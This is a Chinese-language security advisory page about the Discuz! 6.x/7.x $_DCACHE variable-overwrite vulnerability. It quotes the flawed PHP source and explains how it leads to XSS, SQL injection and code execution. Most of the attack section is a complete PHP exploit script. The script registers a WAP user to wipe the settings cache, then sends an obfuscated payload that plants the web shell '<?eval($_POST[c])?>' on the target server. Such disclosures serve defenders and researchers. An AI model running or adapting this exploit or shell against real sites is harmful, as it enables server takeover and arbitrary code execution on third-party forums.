首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
漏洞公告 :: 最新漏洞公告

Discuz! $_DCACHE数组变量覆盖漏洞


http://www.gipsky.com/
Discuz! $_DCACHE数组变量覆盖漏洞

发布日期:2008-11-14

更新日期:2008-11-17



受影响系统:



Discuz! Discuz! 7.0

Discuz! Discuz! 6.0.1



描述:BUGTRAQ ID: 32303



Discuz!是一款华人地区非常流行的Web论坛程序。







由于Discuz!的wap\index.php调用Chinese类里Convert方法在处理post数据时错误的忽视对数组的处理,可能导致数组被覆盖为NULL。当覆盖$_DCACHE时就可能导致跨站脚本、SQL注入、代码执行等严重的安全问题。







以下是/wap/index.php中的漏洞代码段:







//43行



$chs = %26#39;%26#39;;



if($_POST %26amp;%26amp; $charset != %26#39;utf-8%26#39;) {



$chs = new Chinese(%26#39;UTF-8%26#39;, $charset);



foreach($_POST as $key => $value) {



$$key = addslashes(stripslashes($chs->Convert($$key)));



}



unset($chs);



}



...



if(in_array($action, array(%26#39;home%26#39;, %26#39;login%26#39;, %26#39;register%26#39;, %26#39;search%26#39;, %26#39;stats%26#39;, %26#39;my%26#39;, %26#39;myphone%26#39;, %26#39;goto%26#39;, %26#39;forum%26#39;, %26#39;thread%26#39;, %26#39;post%26#39;))) {



require_once %26#39;./include/%26#39;.$action.%26#39;.inc.php%26#39;;







这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法存在一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE。如果POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL,再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串。







/wap/include/register.inc.php







//124行



require_once DISCUZ_ROOT.%26#39;./include/cache.func.php%26#39;;



$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]++;



$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;] = $discuz_userss;



updatesettings();







这里是注册用户后更新缓存数据,在updatesettings()中如下处理:







include/cache.func.php







//252行



function updatesettings() {



global $_DCACHE;



if(isset($_DCACHE[%26#39;settings%26#39;]) %26amp;%26amp; is_array($_DCACHE[%26#39;settings%26#39;])) {



writetocache(%26#39;settings%26#39;, %26#39;%26#39;, %26#39;$_DCACHE[\%26#39;settings\%26#39;] = %26#39;.arrayeval($_DCACHE[%26#39;settings%26#39;]).";\n\n");



}



}







可以看到这里写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将只有$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]和$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;]。







include/common.inc.php







//95行



$cachelost = (@include DISCUZ_ROOT.%26#39;./forumdata/cache/cache_settings.php%26#39;) ? %26#39;%26#39; : %26#39;settings%26#39;;



@extract($_DCACHE[%26#39;settings%26#39;]);



...



$styleid = intval(!empty($_GET[%26#39;styleid%26#39;]) ? $_GET[%26#39;styleid%26#39;] :



(!empty($_POST[%26#39;styleid%26#39;]) ? $_POST[%26#39;styleid%26#39;] :



(!empty($_DSESSION[%26#39;styleid%26#39;]) ? $_DSESSION[%26#39;styleid%26#39;] :



$_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;])));







$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;]);







if(@!include DISCUZ_ROOT.%26#39;./forumdata/cache/style_%26#39;.intval(!empty($forum[%26#39;styleid%26#39;]) ? $forum[%26#39;styleid%26#39;] : $styleid).%26#39;.php%26#39;) {



$cachelost .= (@include DISCUZ_ROOT.%26#39;./forumdata/cache/style_%26#39;.($styleid = $_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;]).%26#39;.php%26#39;) ? %26#39;%26#39; : %26#39; style_%26#39;.$styleid;



}







这里用extract处理了$_DCACHE[%26#39;settings%26#39;],但由于此时包含的forumdata/cache/cache_settings.php文件中仅存在$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]和$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用。攻击者可以随意提交这些变量,导致跨站脚本、sql注入、命令执行等严重的安全问题。







请注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1%26amp;styleid=1%26amp;inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是wap注册时写入的数据。



<*来源:ryat (ryat@wolvez.org



链接:http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt

*>



测试方法:<font color='#FF0000'><p align='center'>警 告



以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!</p></font>#!/usr/bin/php



<?php



/**



* Discuz! 6.x/7.x SODB-2008-13 Exp



* By www.80vul.com



* 文件中注释的变量值请自行修改



*/



$host = %26#39;www.80vul.com%26#39;;



// 服务器域名或IP



$path = %26#39;/discuz/%26#39;;



// 程序所在的路径



$key = 0;



// 上面的变量编辑好后,请将此处的值改为1







if (strpos($host, %26#39;://%26#39;) !== false || strpos($path, %26#39;/%26#39;) === false || $key !== 1)



exit("专业点好不,先看看里面的注释 -,-\n");







error_reporting(7);



ini_set(%26#39;max_execution_time%26#39;, 0);







$key = time();



$cmd = %26#39;action=register%26amp;username=%26#39;.$key.%26#39;%26amp;password=%26#39;.$key.%26#39;%26amp;email=%26#39;.$key.%26#39;@80vul.com%26amp;_DCACHE=1%26#39;;



$resp = send();







preg_match(%26#39;/logout=yes%26amp;amp;formhash=[a-z0-9]{8}%26amp;amp;sid=([a-zA-Z0-9]{6})/%26#39;, $resp, $sid);







if (!$sid)



exit("哦,大概是没有开启WAP注册吧 -,-\n");







$cmd = %26#39;stylejump[1]=1%26amp;styleid=1%26amp;inajax=1%26amp;transsidstatus=1%26amp;sid=%26#39;.$sid[1].%26#39;%26amp;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}%26#39;;



send();







$shell = %26#39;http://%26#39;.$host.$path.%26#39;forumdata/cache/eval.php%26#39;;







if (file_get_contents($shell) == %26#39;80vul%26#39;)



exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");



else



exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");







function send()



{



global $host, $path, $url, $cmd;







$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";



$data .= "Accept: */*\r\n";



$data .= "Accept-Language: zh-cn\r\n";



$data .= "Referer: http://$host$path\r\n";



$data .= "Content-Type: application/x-www-form-urlencoded\r\n";



$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";



$data .= "Host: $host\r\n";



$data .= "Connection: Close\r\n";



$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";



$data .= $cmd;







$fp = fsockopen($host, 80);



fputs($fp, $data);







$resp = %26#39;%26#39;;







while ($fp %26amp;%26amp; !feof($fp))



$resp .= fread($fp, 1024);







return $resp;



}







?>



建议:厂商补丁:



Discuz!

-------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:







http://www.discuz.net/
<< Linux Kernel VDSO本地权限提升漏洞 Linux Kernel hfs_cat_find_brec()本地拒绝服务漏洞 >>
评分
10987654321
API:
gipsky.com & 安信网络

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号